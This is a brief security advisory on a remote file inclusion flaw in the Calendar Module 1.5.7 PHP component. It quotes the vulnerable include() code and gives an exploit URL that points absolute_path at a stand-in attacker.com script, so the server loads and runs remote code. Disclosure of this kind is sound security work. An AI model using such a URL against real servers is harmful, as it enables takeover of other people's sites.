calendar157.txt

`---------------------------------------------------------------------------------  
Calendar Module <= 1.5.7 Remote File Include Vulnerabilities  
---------------------------------------------------------------------------------  
  
Author : Matdhule  
  
Contact : [email protected]  
  
Application : Calendar Module (com_calendar.php)  
  
Version : 1.5.7  
  
---------------------------------------------------------------------------------  
Vulnerability:  
In folder components we found vulnerability script com_calendar.php.  
  
-----------------------com_calendar.php---------------------------------  
<?php  
  
//Configuration  
include($absolute_path.'/components/calendar/cal_config.php');  
if (!file_exists("language/calendar/".$lang."_calendar.php") ) {   
die("Invalid Language");  
} else {   
include($absolute_path.'/language/calendar/'.$lang.'_calendar.php');  
}   
  
-------------------------------------------------------------------------  
  
Variables $absolute_path are not properly sanitized. When register_globals=on  
and allow_fopenurl=on an attacker can exploit this vulnerability with a  
simple php injection script.  
---------------------------------------------------------------------------------  
  
Exploit :  
  
http://[target]/[path]/components/com_calendar.php?absolute_path=http://attacker.com/evil.txt?  
  
---------------------------------------------------------------------------------  
  
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`